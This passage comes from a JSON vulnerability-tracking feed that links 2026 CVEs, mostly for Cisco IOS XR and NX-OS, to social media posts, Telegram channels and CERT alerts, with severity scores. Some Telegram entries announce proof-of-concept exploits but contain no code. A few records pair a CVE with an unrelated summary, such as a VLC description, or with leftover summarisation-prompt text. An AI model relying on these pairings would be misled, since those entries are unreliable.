https://stemshop.top/cve/CVE-2026-20212\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-02T18:07:50.340157Z"}, {"uuid": "231c7a8f-8de3-4ebf-a941-a2f13fa87129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mukjp7pzgv22", "content": "\ud83d\udea8 CVE-2026-20274 \u2014 CVSS 9.8 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20274\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-02T18:07:59.918611Z"}, {"uuid": "35830a3f-9b4d-42ef-8f75-b7ca5193468e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mukjpiyudi2w", "content": "\ud83d\udea8 CVE-2026-20279 \u2014 CVSS 9.8 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR Software ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20279\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-02T18:08:09.712756Z"}, {"uuid": "14b69a90-44d5-4f16-9206-564eb9d7b7e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muks75epr22o", "content": "CVE-2026-20212 - cisco nx-os software\nThe Silicon One integration on Cisco Nexus 9000 series switches listens on two network ports that are open by default. An attacker on the network could connect to those ports, send\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-02T20:40:04.731278Z"}, {"uuid": "e6df4526-3e1b-4f9a-b6b4-92c14fffbcab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muks76tyxz2o", "content": "CVE-2026-20274 - cisco ios xr software\nThe Cisco IOS XR operating system used in many network routers has been updated to fix several internal weaknesses that could let a malicious user consume the device\u2019s memory or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-02T20:40:07.370751Z"}, {"uuid": "61c3855c-337c-4f61-a05e-dc8a6bf63be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muksr2ei3t22", "content": "CVE-2026-20279 - cisco ios xr software\nCisco\u2019s IOS XR operating system contains several access\u2011control gaps that could let someone without proper rights reach functions they shouldn\u2019t. This could expose configuration\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-02T20:50:05.777963Z"}, {"uuid": "a226579c-75c0-45f4-a811-cc4751265dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muktd7pnzy2e", "content": "Cisco Nexus 9000 (Silicon One integration) \u306e\u8106\u5f31\u6027\u3002\u672a\u8a8d\u8a3c\u30fb\u9060\u9694\u653b\u6483\u8005\u304croot\u6a29\u9650\u3067\u30b3\u30fc\u30c9\u5b9f\u884c\u53ef\u80fd\u3002TCP 43210/43211\u7d4c\u7531\u3002S1HAL\u30d7\u30ed\u30bb\u2026\nCVE-2026-20212 CVSS 9.8 | CRITICAL", "creation_timestamp": "2026-09-02T21:00:14.665320Z"}, {"uuid": "31d961c5-ecd8-49c0-ad90-399046dd1e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muktfv7msn25", "content": "\u88fd\u54c1\u540d\uff1aVLC media player \u8106\u5f31\u6027\uff1a\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u53ef\u80fd\u6027 \u5f71\u97ff\uff1a\u653b\u6483\u8005\u306f\u7d30\u5de5\u3057\u305f\u30e1\u30c7\u30a3\u30a2\u30d5\u30a1\u30a4\u30eb\u3092\u9001\u308a\u3064\u3051\u3001\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\nCVE-2026-20274 CVSS 9.8 | CRITICAL", "creation_timestamp": "2026-09-02T21:01:48.953359Z"}, {"uuid": "5cbfaa1d-bb64-4c4c-976f-a39bf5fb7a4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20275", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3muktiekvsf2j", "content": "\u8a18\u4e8b\u5185\u5bb9\u306e\u4e8b\u5b9f\u306e\u307f\u3092\u65e5\u672c\u8a9e95\u6587\u5b57\u4ee5\u5185\u3067\u8981\u7d04\u3057\u307e\u3059\u3002  **\u4f8b1\uff1a** \u300cLINE\u300d\u30a2\u30d7\u30ea\u3067\u3001\u7279\u5b9a\u306e\u64cd\u4f5c\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u610f\u56f3\u3057\u306a\u3044\u52d5\u4f5c\u3092\u3059\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002  **\u4f8b2\uff1a** \u2026\nCVE-2026-20275 CVSS 8.8 | HIGH", "creation_timestamp": "2026-09-02T21:03:08.064235Z"}, {"uuid": "f5d72af0-4e45-4b58-acf3-2dcac39b0ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/46143", "content": "CVE-2026-20182 Cisco Catalyst SD-WAN \nMetaSploit bypass module\n*\nCVE-2026-0300 PAN-OS 12.1, 11.2, 11.1, 10.2\nRCE PoC\n*\n\n#network", "creation_timestamp": "2026-09-03T00:00:50.714753Z"}, {"uuid": "59e67a12-7bb7-4b52-b9a1-233ea16a0ab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3603", "content": "CVE-2026-20217  File Drop to RCE\n*\nfull WriteUP\n\n+ PoC", "creation_timestamp": "2026-09-03T00:00:40.085267Z"}, {"uuid": "a3c36859-a5d2-4cd4-96d6-372b3e46a4c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/48461", "content": "CVE-2026-20217  File Drop to RCE\n*\nfull WriteUP\n\n+ PoC", "creation_timestamp": "2026-09-03T00:00:52.847415Z"}, {"uuid": "359010b9-be43-4438-9a75-cee80a4cc833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-03T00:00:46.933785Z"}, {"uuid": "4aa7ebed-5d71-4f8a-af07-14dfcfd36d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/Russian_OSINT/7317", "content": "\ud83d\udc7a\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-10520 \u0432 Ivanti Sentry \u2014 \u2194\ufe0f CVSS 10/10:\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-10520 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Ivanti Sentry \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0438 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 API \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 (MICS) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\ud83d\ude18https://hellorecon.com/blog/cve-2026-10520\n\n\ud83d\udc7a \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20253 \u0432 Splunk \u2014 \u2194\ufe0f CVSS 9.8/10:\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Splunk Enterprise \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 9,8 \u0431\u0430\u043b\u043b\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr Labs \u0434\u043e\u0432\u0435\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 RCE \u043f\u0443\u0442\u0451\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0441\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u043e\u0439 PostgreSQL Sidecar.\n\n\ud83d\ude18 https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-03T00:00:44.883477Z"}, {"uuid": "0b4683cd-78f2-4333-bc96-ddc43e07a7de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-03T00:00:47.002268Z"}, {"uuid": "db83b253-61d7-44d3-8064-c2b9ecb4c05f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/46315", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by our researcher Sergey Bliznyuk.\n\nRead the write-up: https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/", "creation_timestamp": "2026-09-03T00:00:50.337261Z"}, {"uuid": "1a2d2c2c-0347-4c51-8a4b-7f77c739d305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117204311555759527", "content": "The severity is increased for this new vulnerability affecting Cisco IOS XR Software (CVE-2026-20279) https://vuldb.com/vuln/398239", "creation_timestamp": "2026-09-03T00:37:47.604853Z"}, {"uuid": "5b173b74-221f-4125-ad49-779b0a8da4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117204418919319730", "content": "A new vulnerability with increased severity was disclosed for Cisco NX-OS Software (CVE-2026-20212) https://vuldb.com/vuln/398242", "creation_timestamp": "2026-09-03T01:05:05.864833Z"}, {"uuid": "66e2d214-4124-4685-be1a-f8d280535b51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3muljngkvs72x", "content": "CVE-2026-20212, a critical Cisco Nexus 9000 vulnerability, lets an unauthenticated attacker gain remote code execution with root privileges. CVSS 9.8.\n\n#Cisco #Nexus9000 #SiliconOne #RCE #NXOS #NetworkSecurity #InfoSec #PatchNow", "creation_timestamp": "2026-09-03T03:39:40.318586Z"}, {"uuid": "c71fe448-b4a1-49c8-9d82-d1a87eb201ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2046", "content": "", "creation_timestamp": "2026-09-03T08:45:03.573780Z"}, {"uuid": "5d845477-708e-4754-b791-8160a85661c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2046", "content": "", "creation_timestamp": "2026-09-03T08:45:23.593829Z"}, {"uuid": "6c8476d7-359b-4376-9e74-96c41d4a9b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2046", "content": "", "creation_timestamp": "2026-09-03T08:45:26.285578Z"}, {"uuid": "ebc0b1fb-2b94-4c34-ad49-c2c6f052da8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20281", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2046", "content": "", "creation_timestamp": "2026-09-03T08:45:29.608260Z"}, {"uuid": "9c6509ae-e986-4146-ae27-c2d7e52be7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2046", "content": "", "creation_timestamp": "2026-09-03T08:45:31.872986Z"}, {"uuid": "3d9a54d7-4e5b-44dc-8d94-e40914510502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:45:48.245391Z"}, {"uuid": "2982fe55-6bf7-4666-97b0-f904c6e5334f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20275", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:45:50.463203Z"}, {"uuid": "f2c1c91c-a35b-493e-b467-6e92269d4a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20276", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:45:52.893150Z"}, {"uuid": "7b3a8bf4-750e-45b0-8776-4b7f6d193ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20277", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:45:55.152736Z"}, {"uuid": "98bc152d-d5e8-4e4d-885c-dff4ec40c514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20278", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:45:58.412105Z"}, {"uuid": "13801772-8773-40e0-8a52-e525720ed270", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:00.681928Z"}, {"uuid": "7108891c-1f3d-4a75-bf25-7e5e9a528a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20280", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:02.889801Z"}, {"uuid": "b014fa83-6bc6-417f-b33d-3aa336834e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20281", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:05.118373Z"}, {"uuid": "35921188-f1db-4218-b0f1-9e8da7b78da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:07.717707Z"}, {"uuid": "2ae72c78-d277-4378-9710-a93acb5c146b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:09.958583Z"}, {"uuid": "d6b6d928-fcce-40f4-a71e-e000271d7f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuudet/haavoittuvuus-2026-24", "content": "", "creation_timestamp": "2026-09-03T08:46:13.274772Z"}, {"uuid": "99adb356-0c18-498d-9cc7-c586a142d323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mumbetpumm2m", "content": "Two medium-severity Secure Email S/MIME decryption vulnerabilities (CVE-2026-20354, CVE-2026-20355) could enable MitM attackers to obtain plaintext from encrypted email traffic.\n", "creation_timestamp": "2026-09-03T10:44:22.272994Z"}, {"uuid": "c0781b1c-06f8-45cb-8360-a136da561435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mumbetpumm2m", "content": "Two medium-severity Secure Email S/MIME decryption vulnerabilities (CVE-2026-20354, CVE-2026-20355) could enable MitM attackers to obtain plaintext from encrypted email traffic.\n", "creation_timestamp": "2026-09-03T10:44:22.318657Z"}, {"uuid": "db1000ee-3ad3-4ab3-81af-d6faee8f0a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20280", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mumcje5hr22b", "content": "CVE-2026-20280 - High severity flaw in Cisco IOS XR Software. Improper handling of exceptional conditions (CWE-703). CVSS 8.8. Update immediately. #CVE #Cisco #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20280/", "creation_timestamp": "2026-09-03T11:04:46.822418Z"}, {"uuid": "4edfc93c-fef6-49de-afee-1072857d729a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20280", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117206776965062366", "content": "CVE-2026-20280 - High severity flaw in Cisco IOS XR Software. Improper handling of exceptional conditions (CWE-703). CVSS 8.8. Update immediately. #CVE #Cisco #infosec\nhttps://www.valtersit.com/cve/CVE-2026-20280/", "creation_timestamp": "2026-09-03T11:04:47.906178Z"}, {"uuid": "53fcc54e-47b7-422f-88ea-06022ac06410", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20277", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mumfphykxb2l", "content": "\ud83d\udfe0 CVE-2026-20277 - High (8.2)\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XR...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20277/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-03T12:01:53.823911Z"}, {"uuid": "e990224b-0155-43af-b303-9535f9e06c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.466449Z"}, {"uuid": "accce95c-7f54-4493-adb5-1b0dff1188fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.519192Z"}, {"uuid": "01d6a8d7-cab0-4d70-8bf6-24d53e20cb5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20275", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.564946Z"}, {"uuid": "f24542fb-a9c1-4c66-a39f-e28ee945d44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20276", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.610987Z"}, {"uuid": "4be2bf72-398a-4a67-878a-a18970ed87d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20277", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.660641Z"}, {"uuid": "f8c8383f-caa6-43e6-881e-c1a0ca2e3a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20278", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.707617Z"}, {"uuid": "7525f392-1ef4-404f-83d8-d983d0653649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 